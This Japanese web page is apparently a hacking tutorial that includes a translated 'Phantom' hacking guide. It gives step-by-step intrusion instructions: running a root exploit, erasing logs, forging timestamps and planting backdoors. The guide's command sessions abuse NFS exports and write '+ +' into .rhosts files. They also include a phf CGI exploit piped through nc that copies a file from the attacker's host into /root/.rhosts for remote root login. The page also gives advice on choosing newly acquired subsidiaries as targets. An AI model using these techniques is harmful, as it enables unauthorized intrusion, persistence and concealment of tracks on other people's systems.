www.lgn.com

www.hawkee.com

それでは、これらのシステムにTelnet(詳しくは基礎TELNET講座を参照せよ)でアクセスしてみましょう。その前に、perl.cをFTPでアップロードします。アップロードが完了したら、FTPからログアウトします。そして、Telnetで接続して以下のようにタイプします。

[呟き]FTPでアップロードするのは場合によってはエレガントではない。

$ cd (perl.cのあるディレクトリ)

$ ./a.out

# whoami←#に変わった!

root

5、LOG消し

 侵入の痕跡を残してはいけません。しっかり、LOGを消しましょう。ここが遣り甲斐あるところかもしれません。

6、タイムスタンプの改竄

システムロック(システム上の時間情報はシステムロックから生じている)やファイルのタイムスタンプ(作成日時、最終アクセス日時、更新日時)やタイムゾーンをいじる。ちなみに、いじり方は以下のコマンドを使う。

システムロック

dateコマンド

ファイルのタイムスタンプ

touchコマンド(詳細は、特別講座<タイムスタンプ編>を参照せよ)

タイムゾーン

7、ファイルの書き換え

8、置き土産

 Backboorsや自分で設定したユーザーを置いておき、次回の侵入の時に備えましょう。

 

■脆弱サーバーの選び方

 脆弱サーバーとして以下が考えられる。

  • 買収されたばかりの子会社(∵買収されたばかりは親会社のネットワークに急場しのぎ的に接続されている可能性が高いです。)

 

■ハッキング方法のタイプ別分類表

●アタック対象がグローバルセグメント内に存在する

経路情報改竄

DNSサーバーへのアタックなどでネットワーク障害を起こすことができる。

フィルタリングルールの改竄

フィルタリングルールを改竄することによって、内部ネットワークに侵入できる。

ファイアウォールの設定の漏洩・改竄

設定の漏洩の場合大ダメージを与えることが出来ないが、設定の改竄は内部ネットワークに侵入したり外部ネットワークからのアクセス妨害が行える。

VPNセッションキーの漏洩

VPNで接続する際のセッションキーを利用してうまくいけば内部ネットワークに侵入できる。ただし、ディフェンス側がきちんとアクセスコントロールを設定していた場合、セッションキーを知っただけではあまり影響を与えることが出来ない。

●アタック対象がDMZ内に存在する

●アタック対象がLAN内に存在する

■ハッキング・サンプル User's guide(Written BY: Phantom) transrated and edited by ipusiron

●Intro: Hacking step by step.

 全てのハッカーたちが知らなければならないことは、以下の4つのハッキング・ステップである。

Step 1: アクセスできるサイトをゲットする。

Step 2: root権限をハックする。

Step 3: 足跡を隠す。

Step 4: アカウントを維持する。

 

 以下で、順にハッキング・ステップについて解説する。

 

●Step 1: アクセスできるサイトをゲットする。

 サイトにアクセスする方法は、いくつかある。私は、その中でもよく使われる方法について説明しよう。第一に、そのシステムがエキスポート・リストを持っているかどうか知らなければならない。

mysite:~>/usr/sbin/showmount -e victim.site.com

RPC: Program not registered.

 

 もし、このようなメッセージが表示されたら、とりあえずあきらめて、他の方法を考えよう。私がしようとすることは、古いセキュリティーを突くことである。例えば、ユーザのホームディレクトリに、(リモートアタッカーを許す).rhostsファイルを追加するために、SunOSを狙う。これにより、そのサイトは、あなたのホームディレクトリにマウントされるでしょう。

 以下で、何が起こるか見てみよう。

mysite:~>/usr/sbin/showmount -e victim1.site.com

/usr victim2.site.com

/home (everyone)

/cdrom (everyone)

mysite:~>mkdir /tmp/mount

mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/

mysite:~>ls -sal /tmp/mount

total 9

1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./

1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../

1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/

1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/

1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/

1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/

1 -rw------- 1 root root 242 Mar 9 1997 sudoers

1 drwx------ 3 test 100 1024 Oct 8 21:05 test/

1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/

 

 ここで、rapper's homeの中をハックしてみよう。

mysite:~>id

uid=0 euid=0

mysite:~>whoami

root

mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

 

mysite:~>su - rapper

Welcome to rapper's user.

mysite:~>ls -lsa /tmp/mount/

total 9

1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./

1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../

1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/

1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/

1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/

1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/

1 -rw------- 1 root root 242 Mar 9 1997 sudoers

1 drwx------ 3 test 100 1024 Oct 8 21:05 test/

1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/

 

 Ok?今のところ成功してますね?

mysite:~>echo "+ +" > rapper/.rhosts

mysite:~>cd /

mysite:~>rlogin victim1.site.com

Welcome to Victim.Site.Com.

SunOs ver....(crap).

victim1:~$

 

 この最初の方法で成功しましたか?

 もう一つ別の方法を紹介しましょう。最初に、ターゲットのサイトがポート80(HTTPのウェブサイト)を開いているかどうか調べましょう。このことは、ターゲット側にとって、とても悪いことです。なぜならば、常に弱点があることを意味しているからである。以下で紹介するCソースは、あなたがスキャンする時に役に立つでしょう(nmapなどの使い方が、分かればなお良い)(http://www.dhp.com/~fyodor)。ちなみに、nmapとは、ステルススキャン(ターゲット側に足跡を残さないスキャン)などもできる高機能ポートスキャナーです。

 このtcpprobe.cを使用した感想ですが、結構高速な感じがします。使い方も簡単でテスト用には、よろしいかと思います。

 以下は、Linux(RedHat)にスキャンしてみた結果です。

[ipusiron@server program]$ ./a.out 192.168.1.2

192.168.1.2 21 accepted.

192.168.1.2 23 accepted.

192.168.1.2 25 accepted.

192.168.1.2 79 accepted.

192.168.1.2 98 accepted.

192.168.1.2 111 accepted.

192.168.1.2 113 accepted.

192.168.1.2 513 accepted.

192.168.1.2 514 accepted.

192.168.1.2 515 accepted.

192.168.1.2 605 accepted.

192.168.1.2 610 accepted.

192.168.1.2 615 accepted.

192.168.1.2 1008 accepted.

 また、以下は、Win98SEにスキャンしてみた結果です。

[ipusiron@server program]$ ./a.out 192.168.1.3

192.168.1.3 139 accepted.←お馴染みのポート139

 しかし、このポートスキャナー(tcpprobe.c)の使用には注意しよう。なぜならば、足跡(ログ)が残るからである。

 

 追加しますが、もし、あなたが/cgi-bin/からファイルをゲットしたいならば、このsintax : lynx http://www.victim1.com//cgi-bin/fingerを使いましょう。もし、これがいやならば、以下のようにしてみましょう。

mysite:~>echo "+ +" > /tmp/rhosts

mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+

/root/.rhosts" | nc -v - 20 victim1.site.com 80

それから、

mysite:~>rlogin -l root victim1.site.com

Welcome to Victim1.Site.Com.

victim1:~#

 

 または、おそらく、ユーザ名とパスワードを見つけようとするでしょう?そのいつものユーザは、"test", "guest"であり、おそらく、そのサイトの所有者でしょう。私は、いつも、そのようなことはしない。しかし、あなたはそうすることが可能です。

 また、そのターゲットのサイトが、かなり古いならば、wu.ftpdの古いバグが使えるでしょう。他にたくさんのExploitsがあります。例えば、リモートExploits(innd, imap2,pop3, など)それらは、Rootshellなどでゲットできるだろう。

 

●Step 2:rootをハックする。

 各種Exploitを利用して、ルート権限を奪取します。

 

●Step 3: 足跡を消す。

 足跡消し(以下、Log消しで統一する)に、あなたは、zap,utcleanなどのような多くのプログラムを使うことができるだろう。気をつけましょう。あなたは、アクセスするたびに、毎回以下のようにLog消しを行わなければならない。

victim1:~$ who

...(crap)...

victim1:~$ finger

...;as;;sda...

victim1:~$w

...

 

 もし、まだLog消ししていなけらば、wtmpx, utmpxなどを見よ。wtmpx/utmpxから自分自身の存在を消す方法も存在するがここでは省きます。とりあえず、ZAPでLog消しをしましょう。

 

●Step 4: アカウントを維持する。

 いつもあなたは、あなたの次のアクセス容易にするプログラムをいくつかインストールしなければならないでしょう。rootが、あなたのアカウントを消す前に・・・。

 ここでは、DemonKitからのLoginデーモンの例を紹介しましょう。見なさい!!!もし、あなたがデーモンを設置すると決めたならば、データの改ざんに注意しましょう。(touchを使え!)

 

 rootshellとdhp.comのアナウンスだけ見て安心してはいけない。もっと多くの優良ハッキングサイトは、存在する。

 


■参考文献

  • 『TCP/IPセキュリティ』
  • 『PC-UNIXサーバのためのクラッカー撃退計画』
  • 『ハッキング防衛対策ガイドブック』
  • 『コンピュータ悪のマニュアル3』
  • 『クラッカーお断り』
  • 『スーパーハッカー入門』
  • 『ハッキングハンドブック』
  • 『Router & Packet Filtering』
  • 『不正アクセスの手法と防御』
  • 『現代産業スパイ事情』
  • 『Cyber Security Management 2001、8月号』
  • 『ハッカーの秘密』
  • 『ユビキタス・コンピュータ革命 次世代社会の世界標準』
  • 『暗号の秘密とウソ ネットワーク社会のデジタルセキュリティ』
  • 『はじける頭脳』(アートン)
  • 「b0tki113R's hacking information」←志々雄真実氏訳
  • User's guide(Written BY: Phantom)←This is the first version of Phantom's guide to hacking. In this installment we receive many exploits for operating systems such as: SunOS, HP Unix, and Linux. Not much is explained, but there are many good exploits.
  • Get Read/Write/Reboot/Shutdown access to the entire nethosting.com system including all 231 of its subdomains!
  • The Ultimate Beginner's Guide to Hacking and Phreaking by Revelation LOA--ASH←Written: 08/4/96 Volume: 1
  • GUIDE TO (mostly) HARMLESS HACKING Vol. 1 Number 1 Hacking tip of this column: how to finger a user via telnet.
  • idiotさんリンク切れ情報Thanks!


◆ 商 品 紹 介 ◆

実践ブロードバンドセキュリティ 』  企業活動と情報セキュリティ
実践ブロードバンドセキュリティ 企業活動と情報セキュリティ
 著者:長谷川光森谷健一
出版社:エスシーシー
サイズ:単行本/269p
発行年月:2002年04月
関西情報・産業活性化センター岡村久道
出版社:経済産業調査会  
サイズ:単行本/385p
発行年月:2002年11月  
もっと詳しく調べる   もっと詳しく調べる

ハッカーの教科書完全版 クラッカー・プログラム大全
ハッカーの教科書完全版 クラッカー・プログラム大全
著者:Ipusiron
出版社:データハウス
サイズ:単行本/686p
発行年月:2005年06月
付属資料:CD‐ROM1
著者:Kracker’sBEAMZ
出版社:データハウス
サイズ:単行本/303p
発行年月:2003年12月
付属資料:CD‐ROM1
もっと詳しく調べる もっと詳しく調べる


Google検索
Google
WWW を検索 YOURSITE.CO.JP を検索